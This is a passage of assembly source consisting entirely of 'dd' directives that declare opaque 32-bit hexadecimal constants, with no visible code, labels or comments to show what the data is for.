596B6D28h, 0A2200542h dd 17F133Bh, 2555829h, 8720B541h, 0CA4EA145h, 57C9A218h dd 0F39F0E19h, 4470E4F1h, 12B113E0h, 0A8BDF458h, 25505797h dd 8AA07F37h, 4E801C91h, 7243501Bh, 0B1697CA8h, 0AC8A4D52h dd 97D3AE05h, 4939E9C8h, 93D0B728h, 13DEC87Ch, 1116AC37h dd 888D2595h, 3010EF68h, 20273013h, 7F54B9A3h, 0D03DADCDh dd 7368BA8h, 0DF0B93FAh, 0DF12C18Ah, 0F82A4513h, 0C6E2B380h dd 0FE2CA638h, 8F47088h, 3080A1D8h, 0BEBA9F28h, 0C24A3729h dd 54E5CC98h, 30C01126h, 5E500BEBh, 460EF54h, 0D2DABF83h dd 0E06AF5D3h, 6C3A07C2h, 54A0BFAAh, 0AF0D1A4h, 0B21171F2h dd 336F6F17h, 74F033EEh, 0BDB582D7h, 11872DD7h, 6B5D7728h dd 0AC305578h, 7A7CA871h, 0BB2F6A18h, 16FD2ECDh, 69606DA8h dd 0A2A4098Dh, 0D0E0E658h, 24708DFCh, 0C2354A07h, 6FF09376h dd 8C350E58h, 86915000h, 54F10538h, 4763BB88h, 85E2EC9Ch dd 0D7A2074Fh, 0E94C4C0Eh, 0D7096AFh, 28C591F0h, 0BAA57068h dd 3B604DFAh, 828E499Dh, 0F5FFAE58h, 2E40F98Eh, 0FECA9592h dd 0F4A6F6B7h, 0B0F93188h, 0F190FFE9h, 38692C13h, 0FD67CFACh dd 0C0BEF34Dh, 1D260428h, 7C1F33DDh, 6D24D3C8h, 365E34E7h dd 16956F78h, 27265BCCh, 9CC20FF6h, 4824ADA7h, 243AA7C2h dd 0E236E007h, 6A754358h, 90D3CDECh, 4690DA60h, 0F771640Bh dd 0D4B542B2h, 0C58059E7h, 5AAC961Ah, 3E53865Ch, 9B58C7BBh dd 0E8CE26D9h, 0E6441F68h, 0D4304CEEh, 1C25145Bh, 0A500A966h dd 0E124DE68h, 0B4842107h, 0B5C6A6C7h, 9DA8F188h, 756F4015h dd 0CAC618C7h, 4CDB5B98h, 91A8ED59h, 0A187F728h, 3C1EE3EDh dd 0DCE56CC8h, 21C07126h, 69EFD4A8h, 640AA7B8h, 32DACB62h dd 1689932h, 455063A8h, 0CCA05F3Ch, 0AE7B0F22h, 40163367h dd 690ABB7h, 0E08A40Bh, 2FCFC477h, 6095584Dh, 6F818528h dd 26B55A28h, 597063F6h, 230361DCh, 2E485797h, 445231B8h dd 12BEC008h, 0E0007858h, 0AE5047A8h, 7CA015F8h, 4AD96748h dd 1840B198h, 0B5C62EE8h, 8AD2D8C7h, 0DB9B1B98h, 25406D74h dd 0DD3E55D3h, 0F55D10F5h, 452253D8h, 98FEAB8Dh, 1A956668h dd 0CC60ADFAh, 0F2B08B1Eh, 0AB6F3614h, 0FC0057DDh, 30C98391h dd 7C95A42Dh, 9D35FDF9h, 39C05FA9h, 84DE1FADh, 32B57288h dd 0F380D99Ah, 8DB1D574h, 0A1412B1Dh, 0F83F57ADh, 1CA36472h dd 4246931Bh, 7003F8EBh, 0A6C30708h, 0CE65552Ah, 0B2244A8h dd 7AC5A199h, 4B95CF21h, 0BD323298h, 0E0F54B89h, 39856151h dd 2B40ABE9h, 10C1CEB6h, 0BFB5056Bh, 0DE70200Ch, 91570A7h dd 0BC0A06Bh, 6271CA1Ah, 89052FDDh, 0E6D53F67h, 0E1656B30h dd 3C13E7CCh, 79D4D49Dh, 8F82EB1Ch, 0FB4035F9h, 0F2F17A9Ah dd 3B8FB95Dh, 4E55D3E4h, 0A3B2BAA8h, 0CDA03646h, 8C544A10h dd 2E198B8Dh, 4DB2A94Ch, 0B010EB09h, 900531D1h, 0C6D54661h dd 1379AA37h, 7A3DA2DCh, 0FCC5F891h, 0AF95110Eh, 0EA2258D4h dd 66E98D89h, 7294A87Fh, 4355F7E1h, 0B9F21DACh, 0FBA4424Ah dd 2B20440Bh, 5336A7ADh, 6193C474h, 91100A12h, 0CD2649DDh dd 1BE46E64h, 700BC35h, 611DD3CDh, 0B9CC009Ch, 0CE9E2200h dd 780174F4h, 12E4BAAFh, 5290C05Dh, 0AC5517E1h, 0F1E524B9h dd 0AB55028h, 3C4D802Ch, 7204D298h, 8D878159h, 0C475191Ch dd 0EA0F74CBh, 26D5AC08h, 5372DC0Eh, 0AB3EE8C1h, 0FBA01480h dd 0E5A6572Dh, 3D2D84F4h, 49F6D1A1h, 8081E04Ah, 835E34E1h dd 0F1EF65D8h, 3CB9BB4Ch, 5552A40Ah, 9B3D9389h, 0ADA93768h dd 0D076601Fh, 640591D1h, 5CD5BB47h, 656CF01Eh, 0BE2006E5h dd 0DDC75B91h, 0F804C48h, 573281F6h, 75E3FA8Bh, 0BB923D38h dd 0D1435EEBh, 19C63BEBh, 3EA4A45Ah, 6F4FD728h, 0E90300ADh dd 0D0A50F2Ah, 13430F1Ch, 28099BCCh, 66C4EA6Dh, 9562102Ah dd 0EF2322DCh, 8C546F8h, 2F9C8A0Eh, 7D2DD8CCh, 83FC2CE8h dd 0E7E03D5Dh, 0E74468F1h, 3DE9BDB5h, 58BFE34Dh, 0B845E911h dd 0BA153EA1h, 0E9AD4F4Dh, 3379B918h, 6206F2CFh, 0F2D5E761h dd 0B472300Eh, 0CF3C46DDh, 3FCF9994h, 43829448h, 9106F4ECh dd 88903A84h, 0FE846C4Ch, 324488FDh, 59F6A0AAh, 9BB7F244h dd 0A74F310Bh, 0D4705DADh, 0DB2426Ch, 7075BB09h, 405F1D1h dd 0A0F31F46h, 0C574583Dh, 0D3F75F8h, 3CD3A69Dh, 78B3D706h dd 0BD3410FDh, 0C5FF4DB8h, 31937E5Dh, 367EDBF0h, 71E5DB9Bh dd 0BB83125Ch, 0C349311Bh, 0E3E13A6h, 29A5935Bh, 6545CA1Ch dd 96300FDDh, 0C1D52867h, 0F44E192Bh, 182086E5h, 53D7D091h dd 8995D02Eh, 0D62F38ECh, 0C9E451E8h, 128E8848h, 2255D7E1h dd 80CFFD96h, 0CC80394Dh, 0FF454617h, 311FA7BBh, 66C0AF7Dh dd 9360C01Ch, 0A7050ED6h, 0FCDF427Ch, 3074B758h, 4B24A8DAh dd 95F6E19Bh, 0AB85173Ah, 0F5257CF4h, 66E98D87h, 41B1B976h dd 4B49E9EDh, 0A2EF0FB6h, 0F7A45645h, 3746B17h, 3A1EB6A3h dd 7A97D556h, 80751B01h, 0D1144FD1h, 17FD6769h, 3972B635h dd 6224F5A8h, 0BFC91BADh, 0F9952727h, 162963ECh, 7FF8B8Fh dd 4789DE56h, 8C5909FCh, 0E3D749BFh, 1FA44469h, 3C55910Ah dd 751CD0C8h, 87B3E46Bh, 0C275240Bh, 0EA0F7EB8h, 26D38E66h dd 5465DE58h, 9A23E8C0h, 0DDCE2C9Ah, 0F8F04625h, 583692FDh dd 42FEDA9Bh, 978FFE38h, 0C2443EE3h, 0F5F44791h, 2AB5995Ah dd 5F4FA93Bh, 9411DBADh, 0C8A50D7Ch, 0F3644121h, 100593CAh dd 71C4AE4Fh, 656EF737h dd 0AA3513CBh, 0E8C141ABh, 4B9032Dh, 5632B4ECh, 76DFEB8Dh dd 0D4A1035Dh, 0C74455C1h, 4E567AAh, 50B5A767h, 4D4CD72Dh dd 0AE1E3AC8h, 0CDAE337Dh, 17755D1Ch, 28099BDCh, 56F1AB6Dh dd 0A950380Eh, 0EA7E759Bh, 2EA059B4h, 26B3842Dh, 5325C2F7h dd 0B490068Dh, 0C4AF2A5Dh, 0E77B75EDh, 11F8ACA1h, 79B5E528h dd 9E45F029h, 0D61105B1h, 0F085446Dh, 3342EF29h, 5005EEDFh dd 87DCEA5Eh, 81781C3Dh, 786371A8h, 0AF6F792h, 2B9A17C3h dd 0E0326ECAh, 9605A0BEh, 1FE03D7Ah, 3466AD4Ch, 407F9F88h dd 40456830h, 4F207546h, 582E230Ch, 214D0110h, 67D8E493h dd 4609DD0h, 0F6FCE6E0h, 0CA00535Bh, 3D0056ADh, 0F02BD092h dd 5A242818h, 89001BCCh, 336F6CBAh, 74F033DEh, 0BD3C1F0Bh dd 0BE474Dh, 0D614F428h, 58B5C8BBh, 497003F5h, 1AC08BD1h dd 24109F00h, 0B5A4F6B8h, 0E2F02159h, 3187309h, 2404EF68h dd 895FE5F6h, 0EAE0BDAAh, 8B60951Bh, 89509A3Ah, 8E172FA1h dd 0E1F298D0h, 187FBA8Fh, 412FA8E9h, 8C85A177h, 3220F3C8h dd 28C0B3F4h, 0F67A5BE3h, 840A9133h, 82B02B60h, 32029358h dd 0C238C7C2h, 96A0958Ah, 9AA33248h, 0A696A467h, 3FCFFFF8h dd 0AC658C7h, 0FDB59B98h, 5D0B18ACh, 9EC022A0h, 0F9AD099Bh dd 3A60C3C8h, 5B97701Bh, 539BBD97h, 0A470037Ah, 5A6A8485h dd 6BE8D958h, 85AF5857h, 0CC9EAF7Dh, 8D7FCE48h, 904011B1h dd 0B96F20F2h, 2A2628B3h, 6DBD7B98h, 0B08060F6h, 812F1EC0h dd 86A56E87h, 9F70A3F6h, 65E0F5D8h, 0B63974E7h, 7A94F5B8h dd 0D73B14F7h, 2010878Ah, 0E524472Dh, 95E8DA75h, 55182348h dd 0D3BF0E66h, 7353E02Fh, 0F4E08DD0h, 2FB10688h, 909032C4h dd 0DB5D3E1Bh, 2C30DBDFh, 0AB21C799h, 37913048h, 862E7DFDh dd 40647AB8h, 0C965EF7h, 0C25D9948h, 260567ACh, 9CA035F8h dd 211D8215h, 5240C183h, 10051217h, 84E07D23h, 8610F6DAh dd 0F38023D8h, 0F9B6DBECh, 1C3BF9FDh, 1D50BEC8h, 0B8DB1F9Dh dd 5C102B68h, 2EA380B8h, 1B58F312h, 6D007958h, 50FA26EAh dd 0BF506031h, 75B07621h, 9C45B188h, 6FD277E0h, 0A4DF0DADh dd 41D2EC88h, 5080018Dh, 9F8DB728h, 0FC3B2095h, 0FEEDD8C8h dd 0BC03127h, 5618CB14h, 24D939B7h, 1E318B08h, 0C0005B50h dd 8F544FFCh, 0C95FF5F8h, 2AE0FD32h, 7CCD6D13h, 0C6915BCCh dd 948A7D38h, 6230FF60h, 62D29FD8h, 6B2FC028h, 0CC305B0Eh dd 0DFDFAFBh, 68C0001Ch, 347A9E39h, 6C61F7E9h, 92B06B08h dd 0E295C60Ah, 0F8501796h, 67D4237Dh, 0E98F718h, 8F407199h dd 86B48B17h, 8BE00D3Ah, 520FF91Dh, 0D005F0D8h, 0CA33615Ch dd 0C6F4CE28h, 2D2141C8h, 0F2551E4Eh, 4F10BF56h, 3415BD3Dh dd 9425B45Eh, 0D000966h, 1902A3FFh, 91F8F192h, 0EAF187DFh dd 7873FA98h, 75C90F82h, 4B0BD93h, 7260EBD8h, 0BA15768Ah dd 3FD04716h, 8C222DBCh, 7E040CC8h, 3A553E10h, 0A5109F57h dd 0FB72C847h, 50ED2B18h, 5E80F95Ch, 6851B2A2h, 0E9241873h dd 0D3136358h, 8840A415h, 0B793FFF8h, 0B032326Eh, 1DB89448h dd 0DF8069D9h, 9ED127ACh, 561E8578h, 0BA36C3BDh, 8CCFA126h dd 0D6106E69h, 0D1400338h, 4C314DF9h, 74E9008h, 0C1DBE5DDh dd 93A1333Eh, 0C0A18D63h, 2B164098h, 799A4A17h, 2FB9AD28h dd 3DB57449h, 3D8049D8h, 6ECE8CADh, 24208F78h, 1A70B3C4h dd 7D3FD248h, 0B6007062h, 84601185h, 0ED35E408h, 0C900B958h dd 0EE508719h, 0EEF06B79h, 0FFF7501h, 5840F13Dh, 8A98796Bh dd 70EF8004h, 0C2305B11h, 63F509E4h, 51EACB84h, 2C2049FDh dd 0DA7D3EC8h, 0F5E04138h, 0E2754849h, 58CC82CDh, 0B3CCBE28h dd 68206626h, 0BF2513DCh, 0ECA34B79h, 1FDF2C72h, 0C70717F0h dd 0BCA190E8h, 0D4E04A28h, 5D62D97Fh, 60BEA34Dh, 6E10E428h dd 0E470F528h, 0DA7073C1h, 0C6B72E5Ch, 12716004h, 5EF522B8h dd 97B0BB37h, 0D3360D98h, 0EAD5CE61h, 2DA005C7h, 4AF2E320h dd 4E11E018h, 0F80580B8h, 39E05D07h, 922B841Dh, 99B3B9D8h dd 4C80E67Ch, 79DFD429h, 0BA606D9Ah, 77E4259Fh, 462EC9FDh dd 0A4A345B8h, 0E2A5FC85h, 3F95858h, 8F3A26C2h, 2F5FC607h dd 0AFE53C4Ch, 0CB1AE558h, 7540D433h, 0A8B02E33h, 7FF34E05h dd 8A0BC9C8h, 0FED09624h, 0CD28EFF3h, 627333C8h, 0E3A0CA33h dd 57B63CA3h, 0E62798CCh, 519E80FDh, 2B53369Fh, 0BADB5064h dd 7CCA81A8h, 0F59AF119h, 0E6A6E467h, 2B1B3FF8h, 74F03362h dd 693C1F0Bh, 17692A17h, 0DEBA70EFh, 0E3A94590h, 3523D0CBh dd 997B55Eh, 5B4CEA3Ah, 8B121ED1h, 0C6D6247Bh, 0EE694E04h dd 3D2788CCh, 6ED5F6A4h, 9E9EE63Ah, 0CB3234CEh, 0DAFE7081h dd 3890957Dh, 5055C9E7h, 82E1DDD8h, 0F6A4324Fh, 8C545617h dd 0A70F3CAh, 28C0C118h, 8E7FFD18h, 0AD4E30D1h, 0F3D7487Ah dd 19789834h, 2E3CB786h, 0B7E3DCB6h, 0BD9F0868h, 0EA2F50F9h dd 35C5F59Fh, 57C09F7Dh, 4C79D4C2h, 0B9F64FF8h, 94A5435Ah dd 6C20ED2Dh, 0BB2DD3C8h, 18DE0CF5h, 0A195A968h, 0A4602DADh dd 4CCE9EF7h, 0A8C1D948h, 646CD3B7h, 0EA15FEE6h, 0F3F05376h dd 0D6E2D34h, 7811B9C2h, 3795B0C7h, 0DD0AC605h, 0C60B49C8h dd 1875402Ah, 0FCA568DDh, 9570A3F0h, 0F8F8579Dh, 0F099B568h dd 7A2E9142h, 0B0B15AF3h, 0C8505297h, 11AF7C89h, 0B484297Bh dd 62B4564Ch, 5840F190h, 8D3F9BBh, 0F4ACC17Ch, 0FCBACE77h dd 508B29C8h, 3443FA5Ch, 0B9DF967Ah, 0FA60ADFAh, 2053B1E7h dd 69EFD1FFh, 6460F650h, 71F69808h, 2E53D607h, 0CE1C2BECh dd 0A22AA007h, 16180358h, 0D0BF2E66h, 0F96F69E8h, 0C63CE0C7h dd 6B033B98h, 32688C55h, 6F81D738h, 5D70F429h, 4F8F2299h dd 0A8D07F9Eh, 76100480h, 13388B8h, 3C82985Ah, 0E04C351Ch dd 90DAD257h, 764815E8h, 3DF0E348h, 7132C1EBh, 0A7F60B86h dd 211F1D38h, 822025BAh, 6EBA6C51h, 2FDFB738h, 0F55D08F5h dd 3FF953D8h, 88D01E58h, 0DC851039h, 0B760AD86h, 0F2B08F60h dd 4AB5D458h, 0D75037B1h, 63864875h, 0E818C358h, 9EBF6E6Dh dd 0D8FDDA2Fh, 0C4E02D28h, 7C5F5E0Bh, 0BD80C9C8h, 0EECEBABDh dd 0A6743578h, 0C87059C9h, 68C00370h, 1C8530E8h, 81608D87h dd 0F0C531C8h, 0BE60B4D5h, 40207B8h, 511558FEh, 5EF0B356h dd 891021CEh, 8805C0BAh, 2CE01D07h, 7D164E77h, 9546A9C8h dd 0DEC0366Fh, 0AC2CAD78h, 292713C8h, 7B8BA257h, 5A54815Ah dd 719F7DF4h, 0B2A07582h, 800771CBh, 0FBDDE7A8h, 1CB0AD19h dd 1C4D0E11h, 504041A6h, 796FEAD5h, 54E0E1D0h, 6C79EC88h dd 0A4C5C791h, 0F29C1306h, 6B5DA78h, 0DF70E3F6h, 1D44CED8h dd 65108F6Ah, 0C46058D0h, 8D05A608h, 3900E941h, 11427A25h dd 0FA4895E8h, 490F9CBDh, 887F2725h, 0E29FFFE8h, 34E0CF28h dd 3A07709h, 0B8D469D8h, 9ED03629h, 52D69087h, 0FEF1D3D8h dd 8C0A088h, 0BCC4E438h, 319F6FB8h, 72A0341Eh, 355919DDh dd 1DD8CFA5h, 495F75F8h, 0AAE07DE2h, 0C5C3F373h, 4680C187h dd 99C9D838h, 0F22E080Dh, 257F19D8h, 7EC0282Ah, 0C82F25FDh dd 1A70B241h, 63CCC193h, 3920B068h, 947E723Dh, 15352D08h dd 2100A919h, 0EF3A87C2h, 295F5792h, 8AE01C46h, 57BF091Bh dd 2691DF6Ch, 616D1E38h, 0C22045E3h, 0C3D239B2h, 602E62D7h dd 0ECA5C568h, 0FB3016C7h, 754D6118h, 960031E4h, 5888F509h dd 5A4F34F2h, 99CCh dd 47B64CF6h, 63F411CCh, 7ACE81DDh, 0A2FD5C98h, 0B7908FF6h dd 2EFD8539h, 37BDC477h, 7090175Fh, 2AB8D742h, 5E20A578h dd 0D0E58C9Bh, 25C05127h, 0FB042B2Ch, 5422352Dh, 0A4BFFB08h dd 0C444F252h, 0A6B086BCh, 6EA15FFAh, 0E2E102h, 3C04BA9Bh dd 0E971FFE0h, 0E5E8ADF9h, 92145F83h, 0DDD0DB27h, 0EEFFF95h dd 0EC3C6D78h, 945553C8h, 0A6E0592Eh, 6C30C148h, 0A45989Dh dd 8A95F330h, 0CA737C78h, 0C01968E2h, 0A3F7F5D8h, 3ACEF9DDh dd 54841098h, 0AC905FE8h, 0C7B77D38h, 5D3A6E77h, 0BD0BC9C8h dd 0FEC082B8h, 0D7C36512h, 0CB7DFAA3h, 68C004F0h, 5235E968h dd 0FB379DB2h, 0C28E519Dh, 0ACC4BA58h, 65BECF8h, 3CA0D5FFh dd 14501EC5h, 8B177188h, 999AAA17h, 0B4650D28h, 0F7BD8FF6h dd 10909690h, 0CB40D2ABh, 21204568h, 6A315445h, 220ECA18h dd 4546FE68h, 0DB66E847h, 4A334B18h, 112F6758h, 0FBDD1923h dd 1CB08AB0h, 44028EF8h, 502041EDh, 796FE5C2h, 0B7F79F59h dd 23473681h, 3F0B6333h, 35D9903h, 8C301A30h, 0ADF7573Bh dd 0D79378F3h, 0E62E75FDh, 0B3DDDDB8h, 93B03B1Dh, 5068D32Ch dd 0D150C7DDh, 0EC9E3F6Dh, 8D4DE348h, 984021D9h, 0E357EE9Ch dd 34F0D357h, 2309B88h, 91C7EC1Eh, 77D03738h, 93DFFB70h dd 2FF0560Fh, 8C0A108h, 144DEF68h, 0AE6D3DBCh, 1DDE2B47h dd 2F20B737h, 673C87CEh, 0FC81109Eh, 0C3846307h, 0C6074F5h dd 23F3FF87h, 6682C854h, 0C3550FE9h, 90A043D5h, 31F03708h dd 21559658h, 3A02D6A5h, 8CB2E07Fh, 0BB31210Dh, 0E8054FB2h dd 3EC4856Dh, 4C73CA3Dh, 8F38A7D1h, 9CD92588h, 0AA944D29h dd 3D3089FDh, 48F1CB8Bh, 87C0A14Ch, 0A65E3AFCh, 0AAE747B1h dd 54DDDA08h, 4F54A42Fh, 9D1EFAA0h, 0A4AC0038h, 0EF714B48h dd 0E9C98h, 55D9A528h, 202CED30h, 0EE2208CEh, 0F9C9479Eh dd 4A836726h, 5937F1D1h, 0BAAEB81h, 0B1883A32h, 0C3105EFAh dd 9A06CAAh, 1EFCA247h, 6949D71Eh, 0E50317A6h, 0C5AF0238h dd 3F302E0Dh, 3709FDCCh, 7FD9DF28h, 0A920583Dh, 8E2360DCh dd 19D47494h, 0E8514B69h, 0BE5498D4h, 76E704F8h, 97C5DB34h dd 12B793E6h, 0A4F4B957h, 811CB7D5h, 4779D2B0h, 910118F2h dd 7AD12B30h, 5610EF98h, 2460BDB8h, 0F2B08B08h, 0C0005958h dd 8E5027A8h, 5CA0F5F8h, 2AF0C348h, 0F8409198h, 0C6905FE8h dd 94E02D38h, 6230FB88h, 3080C9D8h, 0FED09728h, 0CC206578h dd 9A7033C8h, 68C00118h, 3610CF68h, 4609DB8h, 0D2B06B08h dd 0A0003958h, 6E5007A8h, 3CA0D5F8h, 0AF73C348h, 0D8503320h dd 1A35BCE8h, 74E01D7Ah, 56736C87h, 1F98FA55h, 0DDD63C9Fh dd 8864CEA8h, 763238ECh, 0AFBF86Ah, 9D04DC60h, 0A64B69FAh dd 0A25C204h, 900091Ah, 5E125B2Dh, 9FA55EF8h, 3312AB8Ah dd 0B84493F9h, 0A2CF9A60h, 3008ED28h, 4A30BB88h, 0F08089C7h dd 9D5CD2A5h, 0B5792568h, 0D97C87D0h, 0DF22C5D8h, 0B4840A97h dd 33A35DA8h, 0CD3D28D1h, 8300E97Ch, 0D22038B8h, 14239577h dd 4306814Ch, 8863BD05h, 66AA7CE8h, 6CBC84Ch, 8F20E98Bh dd 8BD89596h, 9EEAB476h, 5EDF010Ch, 488FD023h, 0F7974908h dd 183B9097h, 0E6DCB093h, 71E80B18h, 0CFC3ED13h, 1E123F2Dh dd 4825B2F8h, 0AAF0530Ah, 90401198h, 4690DFD4h, 567428B3h dd 4BD87B98h, 587FB62Eh, 7ED01730h, 0EB458FBh, 6F70B3D8h dd 0E05D0810h, 5D105F4Ch, 10EDE224h, 91B0FB4Ah, 62983CD7h dd 7BD987B8h, 0BCB0176Ch, 8AF020A0h, 9B89C298h, 26102C63h dd 1CB28D38h, 3DCFA565h, 0D23CBCDBh, 88D3F738h, 2C2CBFFBh dd 0FB7717C7h, 0B2436118h, 121F2F78h, 6460FD45h, 62BC8983h dd 0FFFE51B0h, 72D56457h, 9FA025BAh, 627A538Eh, 4C402818h dd 28691FF1h, 3FA06E4Ch, 0A378B079h, 0AF5FE859h, 0C75108F7h dd 0C6CE93Ch, 0F1299FBDh, 5239C2D0h, 76A78067h, 0C506DDB8h dd 20835570h, 0E0ABFC57h, 2D0647A8h, 79D515C2h, 0A1E0A9C3h dd 1B4A3A9Ah, 94782E19h, 0B71FB2C6h, 9272A73Dh, 900544D8h dd 9ADF4C50h, 0EC2085FCh, 0F8CCE637h, 60902108h, 0A9EF113Dh dd 66DC38BBh, 773F8B18h, 0C0101BE4h, 0DD7423ABh, 6FA2357Bh dd 2246CC93h, 31C0837Bh, 0E2510CC8h, 88C9291Ch, 463CD2ACh dd 0D96B8983h, 29DF6CA9h, 0F254B8C3h, 0DFD8C849h, 5EB4DA76h dd 0D4934E9h, 2A146219h, 0F0669089h, 867495EDh, 87C3FC29h dd 22D426A0h, 0E38D58C9h, 0CE3482C0h, 99D6C469h, 7A94EC1Dh dd 7D002009h, 16F448FDh, 9C48E2D7h, 457B4568h, 858FECB9h dd 5C026246h, 0E9EE4081h, 8E61BE47h, 0FB58130Ch, 8FFE6ADh dd 5E76DE3Dh, 2D18D3F8h, 2A128150h, 5A42527Ch, 80FAB48Eh dd 0A1CE0560h, 0E0B34477h, 9A510ED0h, 9F380F2Dh, 0CDFDA8Dh dd 5103F032h, 0ADC291A8h, 0F600A951h, 0AE47B612h, 121A7360h dd 7875FAA2h, 2FB8D618h, 445F6A0Dh, 0CAF06349h, 9534E31Ch dd 0AC6E1F39h, 310B3BD3h, 2309B30h, 6F62C258h, 0E45BAEBh dd 47201541h, 0F9AA241Fh, 314424EFh, 0D6106F78h, 316F35B8h dd 7950CAC8h, 79825CAEh, 7B51A7B8h, 55AD13FEh, 5CE3A86Dh dd 6879931Dh, 40E5DDE8h, 31D1A05Eh, 0EF567F63h, 1BE66CD9h dd 812FABC0h, 78636E87h, 58DC2641h, 2B6B8108h, 8F94CA9Fh dd 84601DA8h, 0C7BFE308h, 8ABCBD98h, 11AF1B40h, 0C35DC07h dd 7CF0330Ah, 4879731Dh, 22E5BEE8h, 0F60BBC37h, 19B9BA3h dd 0A904AC2Fh, 5ED0F738h, 0B54CD78h, 0C30E1642h, 28016108h dd 1D1D4963h, 0D4CB9BFDh, 0B73A61F0h, 10A026h, 0CB4B8769h dd 9A29519Fh, 0C3030E3h, 80523A33h, 695108Ch, 0AA65E793h dd 0A6302BB1h, 6860C880h, 0BB161483h, 0C3082ECh, 6A5598C1h dd 0CEE0AAE4h, 1010E4D0h, 2E793613h, 1B58F30Ch, 6DFF86ACh dd 4E9195ACh, 0F5A573F0h, 0A15B8588h, 0B2D0019Bh, 0EC86482h dd 4B1FBEC8h, 0A5A49E08h, 0D086E9C8h, 31A3BFD2h, 2F5457FCh dd 79049936h, 4FB4EBE6h, 8F642596h, 28147746h, 0FDC441F6h dd 0CF7493A6h, 45BBDE18h, 0EC0A7248h, 9A342893h, 48807A6Dh dd 52CB410h, 0AD64A8CFh, 4230FB98h, 0B630C9D8h, 0FAD4955Dh dd 46DE2AF5h, 8A494F6Dh, 0E86B6718h, 3165CA94h, 4BE09D08h dd 3A1A2BF7h, 5FFFC63Ah, 57D4825Fh, 7CA0D5E8h, 0B296A348h dd 0DA3540FEh, 0DF6165Ch, 0F1EA1588h, 4220E2F6h, 0BA834918h dd 212F4AC0h, 5BA8F587h, 6A49974Dh, 4840E118h, 0A612DA68h dd 98C5F73Eh, 0D4B05B31h, 85FC99F3h, 4EE0E0DDh, 5C5FFA78h dd 577D40E2h, 0B8506808h, 796F1200h, 0D0651AC7h, 2230ABB1h dd 849089D8h, 14B0E72Bh, 0B5A4A08Fh, 5A70F3D8h, 2FB4C918h dd 1A9BDAD0h, 332FF6B8h, 8289AF8Dh, 6000FA58h, 0DED4C8A9h dd 4CA095F8h, 435BC9A0h, 8802AD25h, 985C17E8h, 0DC5032C7h dd 0BFB93022h, 0D0902B78h, 612E8AC0h, 0E8A5F287h, 3970C3F1h dd 7CC0A118h, 52959872h, 0A4602D81h, 6B10B08h, 0BE2E3152h dd 95B85857h, 6C5F8A06h, 215BE9A1h, 68028D1Dh, 6D5F54E8h dd 0B05D24F0h, 6B306BCAh, 0D738B590h, 0D5E6E84Ch, 0E746254Bh dd 23F4363Fh, 0E8C38108h, 0A5644F68h, 0BDE2984Eh, 2630EB18h dd 0DDAA5152h, 0B5B87857h, 45FAA06h, 0AC79472Fh, 3E80C233h dd 0A2154843h, 0F7E09D01h, 0B6305B88h, 1205DF82h, 0DED0E711h dd 0ADC8CF0Dh, 128F6C35h, 373F9F2Ah, 69ED2D80h, 8C404D47h dd 0CD4F301Ch, 0B866A0BBh dd 65367257h, 92B9E69h, 6AE03ACCh, 0FAB7036Fh, 6909FEBh dd 808794Dh, 12CFC474h, 8A6EE1C7h, 86B628D7h, 0A746B087h dd 15FBD859h, 0EA64C493h, 0BE3B0F78h, 0B39C9531h, 2892F8Dh dd 0E0007A58h, 596833A8h, 6C99917Dh, 4AF0E348h, 0EF6CC59Eh dd 0F6A9FB6Dh, 0B4E04D38h, 6A3A6E89h, 0AF7F141Ah, 0E12DFCC0h dd 68A57287h, 0BA7043F1h, 0FCC42118h, 0ABBC0762h, 45884247h dd 54F74F5h, 0D039DDDDh, 8E5023A8h, 0B4B781F8h, 0D50F3EDEh dd 680B820h, 0CE28F420h, 3FE459F8h, 89C88E30h, 4F6862BFh dd 92F68D5h, 0DC19E1FDh, 9A703BC8h, 0E8B27418h, 26294DD5h dd 6D149DB8h, 2D4D0EE0h, 0B82981A7h, 0CB5ACE81h, 3CB0EC86h dd 0F34788h, 0C8790F3Dh, 0ED7894E8h, 0C41FF2C5h, 0C7BA7139h dd 1090905Ah, 23EC9F82h, 1A2FBA87h, 6A496D4Dh, 88C46C18h dd 0F6D1EF6Ch, 82EDCDB0h, 18B1FBA3h, 7D20F10Fh, 72791857h dd 0FE18D3DCh, 6F07DAB3h, 0B850681Ch, 86901FF8h, 1D50EA4Ch dd 5788DD22h, 96618B22h, 422CBF83h, 6490DA87h, 0F1B0C062h dd 6A487C91h, 73E78F78h, 0C470643Ch, 92B02B28h, 8857EE2Dh dd 0D1AF3B76h, 4C6F1EA2h, 0C03A4810h, 88794D1Dh, 9ADA76E8h dd 0C8282592h, 0BA566477h, 5577A959h, 9EC00EACh, 6C200538h dd 0FEF0D0BCh, 7465AB30h, 0B0107F51h, 28DDB413h, 0D9B01B4Ah dd 79845CAFh, 0E50A7B8h, 0D5D535F8h, 2FF213F8h, 785028E4h dd 0C2152842h, 94E0BD01h, 97307B88h, 0BA38F9D3h, 6EE96AADh dd 71CB4F78h, 2410BAEh, 0D14404EFh, 0B7104F78h, 86141DB8h dd 0F7BAC2B8h, 20108025h, 0E4536368h, 0AC99285Dh, 0EC5B4548h dd 0AFB07020h, 36A93B6Dh, 0F4E28D38h, 76322E88h, 0ED252310h dd 38D0E711h, 849D4CD3h, 4270838Ah, 0C8C04888h, 1295D8C3h dd 6C60ED81h, 46B0CB08h, 0FC207129h, 4BA79857h, 9CB00C7Ch dd 6AF00748h, 80F0DAEDh, 3FEE1AE2h, 3F4A6D28h, 26B5CCC5h dd 708019E1h, 4BD0D720h, 8F98C369h, 0A4D57928h, 0CEC05121h dd 0DCD03CC3h, 0FC06C853h, 0B7BAB321h, 0E0104026h, 0A453A368h dd 6C996B5Dh, 0BD5B8548h, 879351Dh, 0E6807FE8h, 35582B38h dd 2336F48h, 0F58AE11Ch, 1EC08E56h, 5A2F2E1Eh, 0AA49D14Dh dd 27288A18h, 0A1EF1093h, 3459393Dh, 0F2B08B08h, 700E2D18h dd 0F2D525F8h, 0F6A0E5C1h, 0D50B56A0h, 60F1C67h, 8400D261h dd 11172D28h, 6220C20Ch, 0B080C9D8h, 16609B5Ch, 71A9CED2h dd 9A60717Ch, 892804F3h, 0DEEF3093h, 0FB9F66D2h, 0EB34EEFFh dd 0A0003948h, 652507A9h, 0B9AA9548h, 0AE09A34h, 0BE4F9A32h dd 0AC50BC50h, 64D9719Dh, 0F29BBD88h, 957703D9h, 0DEC04EACh dd 0AC224578h, 0FF873CBDh, 48D0D89Ch, 1614AF68h, 24D067CDh dd 8BCECE02h, 258A1948h, 4E40DE2Bh, 7AB05539h, 4171E5F0h dd 0B0AB5128h, 39A5F58h, 54F0D446h, 0A6B54C22h, 0F08099E1h dd 0CBD05F28h, 0F984368h, 27D5F920h, 4EC0D121h, 1D113FC3h dd 0CE28EDB0h, 